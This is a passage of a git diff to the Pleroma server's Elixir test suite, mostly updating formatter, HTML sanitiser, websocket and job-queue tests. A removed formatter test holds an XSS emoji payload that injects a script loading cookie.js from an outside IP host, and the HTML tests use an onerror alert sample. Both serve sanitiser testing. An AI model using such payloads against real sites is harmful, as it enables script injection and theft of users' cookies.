- "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
+ ~s(I love <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag ugc">#cofe</a> and <a class="hashtag" data-tag="2hu" href="http://localhost:4001/tag/2hu" rel="tag ugc">#2hu</a>)
assert {^expected_text, [], _tags} = Formatter.linkify(text)
end
@@ -28,7 +28,7 @@ defmodule Pleroma.FormatterTest do
text = "#fact_3: pleroma does what mastodon't"
expected_text =
- "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"
+ ~s(<a class="hashtag" data-tag="fact_3" href="http://localhost:4001/tag/fact_3" rel="tag ugc">#fact_3</a>: pleroma does what mastodon't)
assert {^expected_text, [], _tags} = Formatter.linkify(text)
end
@@ -39,21 +39,21 @@ defmodule Pleroma.FormatterTest do
text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
expected =
- "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
+ ~S(Hey, check out <a href="https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla" rel="ugc">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> .)
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://mastodon.social/@lambadalambda"
expected =
- "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
+ ~S(<a href="https://mastodon.social/@lambadalambda" rel="ugc">https://mastodon.social/@lambadalambda</a>)
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://mastodon.social:4000/@lambadalambda"
expected =
- "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
+ ~S(<a href="https://mastodon.social:4000/@lambadalambda" rel="ugc">https://mastodon.social:4000/@lambadalambda</a>)
assert {^expected, [], []} = Formatter.linkify(text)
@@ -63,55 +63,57 @@ defmodule Pleroma.FormatterTest do
assert {^expected, [], []} = Formatter.linkify(text)
text = "http://www.cs.vu.nl/~ast/intel/"
- expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
+
+ expected =
+ ~S(<a href="http://www.cs.vu.nl/~ast/intel/" rel="ugc">http://www.cs.vu.nl/~ast/intel/</a>)
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
expected =
- "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
+ "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\" rel=\"ugc\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
expected =
- "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
+ "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\" rel=\"ugc\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
expected =
- "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
+ "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\" rel=\"ugc\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://en.wikipedia.org/wiki/Duff's_device"
expected =
- "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
+ "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\" rel=\"ugc\">https://en.wikipedia.org/wiki/Duff's_device</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "https://pleroma.com https://pleroma.com/sucks"
expected =
- "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
+ "<a href=\"https://pleroma.com\" rel=\"ugc\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\" rel=\"ugc\">https://pleroma.com/sucks</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text = "xmpp:contact@hacktivis.me"
- expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
+ expected = "<a href=\"xmpp:contact@hacktivis.me\" rel=\"ugc\">xmpp:contact@hacktivis.me</a>"
assert {^expected, [], []} = Formatter.linkify(text)
text =
"magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
- expected = "<a href=\"#{text}\">#{text}</a>"
+ expected = "<a href=\"#{text}\" rel=\"ugc\">#{text}</a>"
assert {^expected, [], []} = Formatter.linkify(text)
end
@@ -123,10 +125,10 @@ defmodule Pleroma.FormatterTest do
gsimg = insert(:user, %{nickname: "gsimg"})
archaeme =
- insert(:user, %{
+ insert(:user,
nickname: "archa_eme_",
- info: %User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
- })
+ source_data: %{"url" => "https://archeme/@archa_eme_"}
+ )
archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
@@ -135,13 +137,13 @@ defmodule Pleroma.FormatterTest do
assert length(mentions) == 3
expected_text =
- "<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
+ ~s(<span class="h-card"><a data-user="#{gsimg.id}" class="u-url mention" href="#{
gsimg.ap_id
- }'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
+ }" rel="ugc">@<span>gsimg</span></a></span> According to <span class="h-card"><a data-user="#{
archaeme.id
- }' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
+ }" class="u-url mention" href="#{"https://archeme/@archa_eme_"}" rel="ugc">@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class="h-card"><a data-user="#{
archaeme_remote.id
- }' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
+ }" class="u-url mention" href="#{archaeme_remote.ap_id}" rel="ugc">@<span>archaeme</span></a></span>)
assert expected_text == text
end
@@ -156,7 +158,9 @@ defmodule Pleroma.FormatterTest do
assert length(mentions) == 1
expected_text =
- "<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
+ ~s(<span class="h-card"><a data-user="#{mike.id}" class="u-url mention" href="#{
+ mike.ap_id
+ }" rel="ugc">@<span>mike</span></a></span> test)
assert expected_text == text
end
@@ -170,7 +174,7 @@ defmodule Pleroma.FormatterTest do
assert length(mentions) == 1
expected_text =
- "<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
+ ~s(<span class="h-card"><a data-user="#{o.id}" class="u-url mention" href="#{o.ap_id}" rel="ugc">@<span>o</span></a></span> hi)
assert expected_text == text
end
@@ -192,13 +196,17 @@ defmodule Pleroma.FormatterTest do
assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}]
assert expected_text ==
- "<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
+ ~s(<span class="h-card"><a data-user="#{user.id}" class="u-url mention" href="#{
user.ap_id
- }'>@<span>#{user.nickname}</span></a></span> <span class='h-card'><a data-user='#{
+ }" rel="ugc">@<span>#{user.nickname}</span></a></span> <span class="h-card"><a data-user="#{
other_user.id
- }' class='u-url mention' href='#{other_user.ap_id}'>@<span>#{other_user.nickname}</span></a></span> hey dudes i hate <span class='h-card'><a data-user='#{
+ }" class="u-url mention" href="#{other_user.ap_id}" rel="ugc">@<span>#{
+ other_user.nickname
+ }</span></a></span> hey dudes i hate <span class="h-card"><a data-user="#{
third_user.id
- }' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
+ }" class="u-url mention" href="#{third_user.ap_id}" rel="ugc">@<span>#{
+ third_user.nickname
+ }</span></a></span>)
end
test "given the 'safe_mention' option, it will still work without any mention" do
@@ -217,6 +225,27 @@ defmodule Pleroma.FormatterTest do
assert expected_text =~ "how are you doing?"
end
+
+ test "it can parse mentions and return the relevant users" do
+ text =
+ "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
+
+ o = insert(:user, %{nickname: "o"})
+ jimm = insert(:user, %{nickname: "jimm"})
+ gsimg = insert(:user, %{nickname: "gsimg"})
+ archaeme = insert(:user, %{nickname: "archaeme"})
+ archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
+
+ expected_mentions = [
+ {"@archaeme", archaeme},
+ {"@archaeme@archae.me", archaeme_remote},
+ {"@gsimg", gsimg},
+ {"@jimm", jimm},
+ {"@o", o}
+ ]
+
+ assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
+ end
end
describe ".parse_tags" do
@@ -234,69 +263,6 @@ defmodule Pleroma.FormatterTest do
end
end
- test "it can parse mentions and return the relevant users" do
- text =
- "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"
-
- o = insert(:user, %{nickname: "o"})
- jimm = insert(:user, %{nickname: "jimm"})
- gsimg = insert(:user, %{nickname: "gsimg"})
- archaeme = insert(:user, %{nickname: "archaeme"})
- archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
-
- expected_mentions = [
- {"@archaeme", archaeme},
- {"@archaeme@archae.me", archaeme_remote},
- {"@gsimg", gsimg},
- {"@jimm", jimm},
- {"@o", o}
- ]
-
- assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
- end
-
- test "it adds cool emoji" do
- text = "I love :firefox:"
-
- expected_result =
- "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
-
- assert Formatter.emojify(text) == expected_result
- end
-
- test "it does not add XSS emoji" do
- text =
- "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
-
- custom_emoji = %{
- "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
- "https://placehold.it/1x1"
- }
-
- expected_result =
- "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
-
- assert Formatter.emojify(text, custom_emoji) == expected_result
- end
-
- test "it returns the emoji used in the text" do
- text = "I love :firefox:"
-
- assert Formatter.get_emoji(text) == [
- {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
- ]
- end
-
- test "it returns a nice empty result when no emojis are present" do
- text = "I love moominamma"
- assert Formatter.get_emoji(text) == []
- end
-
- test "it doesn't die when text is absent" do
- text = nil
- assert Formatter.get_emoji(text) == []
- end
-
test "it escapes HTML in plain text" do
text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
expected = "hello &amp; world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
diff --git a/test/healthcheck_test.exs b/test/healthcheck_test.exs
index 6bb8d5b7f..66d5026ff 100644
--- a/test/healthcheck_test.exs
+++ b/test/healthcheck_test.exs
@@ -9,7 +9,14 @@ defmodule Pleroma.HealthcheckTest do
test "system_info/0" do
result = Healthcheck.system_info() |> Map.from_struct()
- assert Map.keys(result) == [:active, :healthy, :idle, :memory_used, :pool_size]
+ assert Map.keys(result) == [
+ :active,
+ :healthy,
+ :idle,
+ :job_queue_stats,
+ :memory_used,
+ :pool_size
+ ]
end
describe "check_health/1" do
diff --git a/test/html_test.exs b/test/html_test.exs
index b8906c46a..c918dbe20 100644
--- a/test/html_test.exs
+++ b/test/html_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.HTMLTest do
@@ -21,31 +21,31 @@ defmodule Pleroma.HTMLTest do
"""
@html_onerror_sample """
- <img src="http://example.com/image.jpg" onerror="alert('hacked')">
+ <img src="http://example.com/image.jpg" onerror="alert('hacked')">
"""
@html_span_class_sample """
- <span class="animate-spin">hi</span>
+ <span class="animate-spin">hi</span>
"""
@html_span_microformats_sample """
- <span class="h-card"><a class="u-url mention">@<span>foo</span></a></span>
+ <span class="h-card"><a class="u-url mention">@<span>foo</span></a></span>
"""
@html_span_invalid_microformats_sample """
- <span class="h-card"><a class="u-url mention animate-spin">@<span>foo</span></a></span>
+ <span class="h-card"><a class="u-url mention animate-spin">@<span>foo</span></a></span>
"""
describe "StripTags scrubber" do
test "works as expected" do
expected = """
- this is in bold
+ this is in bold
this is a paragraph
this is a linebreak
- this is a link with allowed "rel" attribute: example.com
- this is a link with not allowed "rel" attribute: example.com
+ this is a link with allowed &quot;rel&quot; attribute: example.com
+ this is a link with not allowed &quot;rel&quot; attribute: example.com
this is an image:
- alert('hacked')
+ alert(&#39;hacked&#39;)
"""
assert expected == HTML.strip_tags(@html_sample)
@@ -61,13 +61,13 @@ defmodule Pleroma.HTMLTest do
describe "TwitterText scrubber" do
test "normalizes HTML as expected" do
expected = """
- this is in bold
+ this is in bold
<p>this is a paragraph</p>
- this is a linebreak<br />
- this is a link with allowed "rel" attribute: <a href="http://example.com/" rel="tag">example.com</a>
- this is a link with not allowed "rel" attribute: <a href="http://example.com/">example.com</a>
- this is an image: <img src="http://example.com/image.jpg" /><br />
- alert('hacked')
+ this is a linebreak<br/>
+ this is a link with allowed &quot;rel&quot; attribute: <a href="http://example.com/" rel="tag">example.com</a>
+ this is a link with not allowed &quot;rel&quot; attribute: <a href="http://example.com/">example.com</a>
+ this is an image: <img src="http://example.com/image.jpg"/><br/>
+ alert(&#39;hacked&#39;)
"""
assert expected == HTML.filter_tags(@html_sample, Pleroma.HTML.Scrubber.TwitterText)
@@ -75,7 +75,7 @@ defmodule Pleroma.HTMLTest do
test "does not allow attribute-based XSS" do
expected = """
- <img src="http://example.com/image.jpg" />
+ <img src="http://example.com/image.jpg"/>
"""
assert expected == HTML.filter_tags(@html_onerror_sample, Pleroma.HTML.Scrubber.TwitterText)
@@ -115,13 +115,13 @@ defmodule Pleroma.HTMLTest do
describe "default scrubber" do
test "normalizes HTML as expected" do
expected = """
- <b>this is in bold</b>
+ <b>this is in bold</b>
<p>this is a paragraph</p>
- this is a linebreak<br />
- this is a link with allowed "rel" attribute: <a href="http://example.com/" rel="tag">example.com</a>
- this is a link with not allowed "rel" attribute: <a href="http://example.com/">example.com</a>
- this is an image: <img src="http://example.com/image.jpg" /><br />
- alert('hacked')
+ this is a linebreak<br/>
+ this is a link with allowed &quot;rel&quot; attribute: <a href="http://example.com/" rel="tag">example.com</a>
+ this is a link with not allowed &quot;rel&quot; attribute: <a href="http://example.com/">example.com</a>
+ this is an image: <img src="http://example.com/image.jpg"/><br/>
+ alert(&#39;hacked&#39;)
"""
assert expected == HTML.filter_tags(@html_sample, Pleroma.HTML.Scrubber.Default)
@@ -129,7 +129,7 @@ defmodule Pleroma.HTMLTest do
test "does not allow attribute-based XSS" do
expected = """
- <img src="http://example.com/image.jpg" />
+ <img src="http://example.com/image.jpg"/>
"""
assert expected == HTML.filter_tags(@html_onerror_sample, Pleroma.HTML.Scrubber.Default)
@@ -228,5 +228,16 @@ defmodule Pleroma.HTMLTest do
assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140"
end
+
+ test "does not crash when there is an HTML entity in a link" do
+ user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{"status" => "\"http://cofe.com/?boomer=ok&foo=bar\""})
+
+ object = Object.normalize(activity)
+
+ assert {:ok, nil} = HTML.extract_first_external_url(object, object.data["content"])
+ end
end
end
diff --git a/test/http/request_builder_test.exs b/test/http/request_builder_test.exs
index 7febe84c5..80ef25d7b 100644
--- a/test/http/request_builder_test.exs
+++ b/test/http/request_builder_test.exs
@@ -4,25 +4,33 @@
defmodule Pleroma.HTTP.RequestBuilderTest do
use ExUnit.Case, async: true
+ use Pleroma.Tests.Helpers
alias Pleroma.HTTP.RequestBuilder
describe "headers/2" do
+ clear_config([:http, :send_user_agent])
+
test "don't send pleroma user agent" do
assert RequestBuilder.headers(%{}, []) == %{headers: []}
end
test "send pleroma user agent" do
- send = Pleroma.Config.get([:http, :send_user_agent])
Pleroma.Config.put([:http, :send_user_agent], true)
-
- on_exit(fn ->
- Pleroma.Config.put([:http, :send_user_agent], send)
- end)
+ Pleroma.Config.put([:http, :user_agent], :default)
assert RequestBuilder.headers(%{}, []) == %{
headers: [{"User-Agent", Pleroma.Application.user_agent()}]
}
end
+
+ test "send custom user agent" do
+ Pleroma.Config.put([:http, :send_user_agent], true)
+ Pleroma.Config.put([:http, :user_agent], "totally-not-pleroma")
+
+ assert RequestBuilder.headers(%{}, []) == %{
+ headers: [{"User-Agent", "totally-not-pleroma"}]
+ }
+ end
end
describe "add_optional_params/3" do
diff --git a/test/instance_static/emoji/test_pack/blank.png b/test/instance_static/emoji/test_pack/blank.png
new file mode 100644
index 000000000..8f50fa023
--- /dev/null
+++ b/test/instance_static/emoji/test_pack/blank.png
Binary files differ
diff --git a/test/instance_static/emoji/test_pack/pack.json b/test/instance_static/emoji/test_pack/pack.json
new file mode 100644
index 000000000..5a8ee75f9
--- /dev/null
+++ b/test/instance_static/emoji/test_pack/pack.json
@@ -0,0 +1,13 @@
+{
+ "pack": {
+ "license": "Test license",
+ "homepage": "https://pleroma.social",
+ "description": "Test description",
+
+ "share-files": true
+ },
+
+ "files": {
+ "blank": "blank.png"
+ }
+}
diff --git a/test/instance_static/emoji/test_pack_for_import/blank.png b/test/instance_static/emoji/test_pack_for_import/blank.png
new file mode 100644
index 000000000..8f50fa023
--- /dev/null
+++ b/test/instance_static/emoji/test_pack_for_import/blank.png
Binary files differ
diff --git a/test/instance_static/emoji/test_pack_nonshared/nonshared.zip b/test/instance_static/emoji/test_pack_nonshared/nonshared.zip
new file mode 100644
index 000000000..148446c64
--- /dev/null
+++ b/test/instance_static/emoji/test_pack_nonshared/nonshared.zip
Binary files differ
diff --git a/test/instance_static/emoji/test_pack_nonshared/pack.json b/test/instance_static/emoji/test_pack_nonshared/pack.json
new file mode 100644
index 000000000..b96781f81
--- /dev/null
+++ b/test/instance_static/emoji/test_pack_nonshared/pack.json
@@ -0,0 +1,16 @@
+{
+ "pack": {
+ "license": "Test license",
+ "homepage": "https://pleroma.social",
+ "description": "Test description",
+
+ "fallback-src": "https://nonshared-pack",
+ "fallback-src-sha256": "74409E2674DAA06C072729C6C8426C4CB3B7E0B85ED77792DB7A436E11D76DAF",
+
+ "share-files": false
+ },
+
+ "files": {
+ "blank": "blank.png"
+ }
+}
diff --git a/test/integration/mastodon_websocket_test.exs b/test/integration/mastodon_websocket_test.exs
index 3975cdcd6..63fce07bb 100644
--- a/test/integration/mastodon_websocket_test.exs
+++ b/test/integration/mastodon_websocket_test.exs
@@ -1,16 +1,16 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Integration.MastodonWebsocketTest do
use Pleroma.DataCase
+ import ExUnit.CaptureLog
import Pleroma.Factory
alias Pleroma.Integration.WebsocketClient
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.OAuth
- alias Pleroma.Web.Streamer
@path Pleroma.Web.Endpoint.url()
|> URI.parse()
@@ -18,14 +18,9 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
|> Map.put(:path, "/api/v1/streaming")
|> URI.to_string()
- setup do
- GenServer.start(Streamer, %{}, name: Streamer)
-
- on_exit(fn ->
- if pid = Process.whereis(Streamer) do
- Process.exit(pid, :kill)
- end
- end)
+ setup_all do
+ start_supervised(Pleroma.Web.Streamer.supervisor())
+ :ok
end
def start_socket(qs \\ nil, headers \\ []) do
@@ -39,13 +34,19 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
end
test "refuses invalid requests" do
- assert {:error, {400, _}} = start_socket()
- assert {:error, {404, _}} = start_socket("?stream=ncjdk")
+ capture_log(fn ->
+ assert {:error, {400, _}} = start_socket()
+ assert {:error, {404, _}} = start_socket("?stream=ncjdk")
+ Process.sleep(30)
+ end)
end
test "requires authentication and a valid token for protected streams" do
- assert {:error, {403, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa")
- assert {:error, {403, _}} = start_socket("?stream=user")
+ capture_log(fn ->
+ assert {:error, {403, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa")
+ assert {:error, {403, _}} = start_socket("?stream=user")
+ Process.sleep(30)
+ end)
end
test "allows public streams without authentication" do
@@ -67,7 +68,7 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
assert {:ok, json} = Jason.decode(json["payload"])
view_json =
- Pleroma.Web.MastodonAPI.StatusView.render("status.json", activity: activity, for: nil)
+ Pleroma.Web.MastodonAPI.StatusView.render("show.json", activity: activity, for: nil)
|> Jason.encode!()
|> Jason.decode!()
@@ -100,19 +101,31 @@ defmodule Pleroma.Integration.MastodonWebsocketTest do
test "accepts the 'user' stream", %{token: token} = _state do
assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}")
- assert {:error, {403, "Forbidden"}} = start_socket("?stream=user")
+
+ assert capture_log(fn ->
+ assert {:error, {403, "Forbidden"}} = start_socket("?stream=user")
+ Process.sleep(30)
+ end) =~ ":badarg"
end
test "accepts the 'user:notification' stream", %{token: token} = _state do
assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}")
- assert {:error, {403, "Forbidden"}} = start_socket("?stream=user:notification")
+
+ assert capture_log(fn ->
+ assert {:error, {403, "Forbidden"}} = start_socket("?stream=user:notification")
+ Process.sleep(30)
+ end) =~ ":badarg"
end
test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do
assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}])
- assert {:error, {403, "Forbidden"}} =
- start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}])
+ assert capture_log(fn ->
+ assert {:error, {403, "Forbidden"}} =
+ start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}])
+
+ Process.sleep(30)
+ end) =~ ":badarg"
end
end
end
diff --git a/test/job_queue_monitor_test.exs b/test/job_queue_monitor_test.exs
new file mode 100644
index 000000000..17c6f3246
--- /dev/null
+++ b/test/job_queue_monitor_test.exs
@@ -0,0 +1,70 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.JobQueueMonitorTest do
+ use ExUnit.Case, async: true
+
+ alias Pleroma.JobQueueMonitor
+
+ @success {:process_event, :success, 1337,
+ %{
+ args: %{"op" => "refresh_subscriptions"},
+ attempt: 1,
+ id: 339,
+ max_attempts: 5,
+ queue: "federator_outgoing",
+ worker: "Pleroma.Workers.SubscriberWorker"
+ }}
+
+ @failure {:process_event, :failure, 22_521_134,
+ %{
+ args: %{"op" => "force_password_reset", "user_id" => "9nJG6n6Nbu7tj9GJX6"},
+ attempt: 1,
+ error: %RuntimeError{message: "oops"},
+ id: 345,
+ kind: :exception,
+ max_attempts: 1,
+ queue: "background",
+ stack: [
+ {Pleroma.Workers.BackgroundWorker, :perform, 2,
+ [file: 'lib/pleroma/workers/background_worker.ex', line: 31]},
+ {Oban.Queue.Executor, :safe_call, 1,
+ [file: 'lib/oban/queue/executor.ex', line: 42]},
+ {:timer, :tc, 3, [file: 'timer.erl', line: 197]},
+ {Oban.Queue.Executor, :call, 2, [file: 'lib/oban/queue/executor.ex', line: 23]},
+ {Task.Supervised, :invoke_mfa, 2, [file: 'lib/task/supervised.ex', line: 90]},
+ {:proc_lib, :init_p_do_apply, 3, [file: 'proc_lib.erl', line: 249]}
+ ],
+ worker: "Pleroma.Workers.BackgroundWorker"
+ }}
+
+ test "stats/0" do
+ assert %{processed_jobs: _, queues: _, workers: _} = JobQueueMonitor.stats()
+ end
+
+ test "handle_cast/2" do
+ state = %{workers: %{}, queues: %{}, processed_jobs: 0}
+
+ assert {:noreply, state} = JobQueueMonitor.handle_cast(@success, state)
+ assert {:noreply, state} = JobQueueMonitor.handle_cast(@failure, state)
+ assert {:noreply, state} = JobQueueMonitor.handle_cast(@success, state)
+ assert {:noreply, state} = JobQueueMonitor.handle_cast(@failure, state)
+
+ assert state == %{
+ processed_jobs: 4,
+ queues: %{
+ "background" => %{failure: 2, processed_jobs: 2, success: 0},
+ "federator_outgoing" => %{failure: 0, processed_jobs: 2, success: 2}
+ },
+ workers: %{
+ "Pleroma.Workers.BackgroundWorker" => %{
+ "force_password_reset" => %{failure: 2, processed_jobs: 2, success: 0}
+ },
+ "Pleroma.Workers.SubscriberWorker" => %{
+ "refresh_subscriptions" => %{failure: 0, processed_jobs: 2, success: 2}
+ }
+ }
+ }
+ end
+end
diff --git a/test/list_test.exs b/test/list_test.exs
index f39033d02..e7b23915b 100644
--- a/test/list_test.exs
+++ b/test/list_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ListTest do
@@ -15,6 +15,13 @@ defmodule Pleroma.ListTest do
assert title == "title"
end
+ test "validates title" do
+ user = insert(:user)
+
+ assert {:error, changeset} = Pleroma.List.create("", user)
+ assert changeset.errors == [title: {"can't be blank", [validation: :required]}]
+ end
+
test "getting a list not belonging to the user" do
user = insert(:user)
other_user = insert(:user)
@@ -106,10 +113,10 @@ defmodule Pleroma.ListTest do
{:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_1)
{:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_2)
- lists_1 = Pleroma.List.get_lists_account_belongs(owner, member_1.id)
+ lists_1 = Pleroma.List.get_lists_account_belongs(owner, member_1)
assert owned_list in lists_1
refute not_owned_list in lists_1
- lists_2 = Pleroma.List.get_lists_account_belongs(owner, member_2.id)
+ lists_2 = Pleroma.List.get_lists_account_belongs(owner, member_2)
assert owned_list in lists_2
refute not_owned_list in lists_2
end
diff --git a/test/marker_test.exs b/test/marker_test.exs
new file mode 100644
index 000000000..04bd67fe6
--- /dev/null
+++ b/test/marker_test.exs
@@ -0,0 +1,51 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.MarkerTest do
+ use Pleroma.DataCase
+ alias Pleroma.Marker
+
+ import Pleroma.Factory
+
+ describe "get_markers/2" do
+ test "returns user markers" do
+ user = insert(:user)
+ marker = insert(:marker, user: user)
+ insert(:marker, timeline: "home", user: user)
+ assert Marker.get_markers(user, ["notifications"]) == [refresh_record(marker)]
+ end
+ end
+
+ describe "upsert/2" do
+ test "creates a marker" do
+ user = insert(:user)
+
+ {:ok, %{"notifications" => %Marker{} = marker}} =
+ Marker.upsert(
+ user,
+ %{"notifications" => %{"last_read_id" => "34"}}
+ )
+
+ assert marker.timeline == "notifications"
+ assert marker.last_read_id == "34"
+ assert marker.lock_version == 0
+ end
+
+ test "updates exist marker" do
+ user = insert(:user)
+ marker = insert(:marker, user: user, last_read_id: "8909")
+
+ {:ok, %{"notifications" => %Marker{}}} =
+ Marker.upsert(
+ user,
+ %{"notifications" => %{"last_read_id" => "9909"}}
+ )
+
+ marker = refresh_record(marker)
+ assert marker.timeline == "notifications"
+ assert marker.last_read_id == "9909"
+ assert marker.lock_version == 0
+ end
+ end
+end
diff --git a/test/moderation_log_test.exs b/test/moderation_log_test.exs
new file mode 100644
index 000000000..f2168b735
--- /dev/null
+++ b/test/moderation_log_test.exs
@@ -0,0 +1,297 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.ModerationLogTest do
+ alias Pleroma.Activity
+ alias Pleroma.ModerationLog
+
+ use Pleroma.DataCase
+
+ import Pleroma.Factory
+
+ describe "user moderation" do
